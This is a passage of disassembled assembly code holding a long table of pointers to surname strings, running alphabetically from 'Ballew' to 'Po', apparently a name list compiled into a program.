		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset dword_430058
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
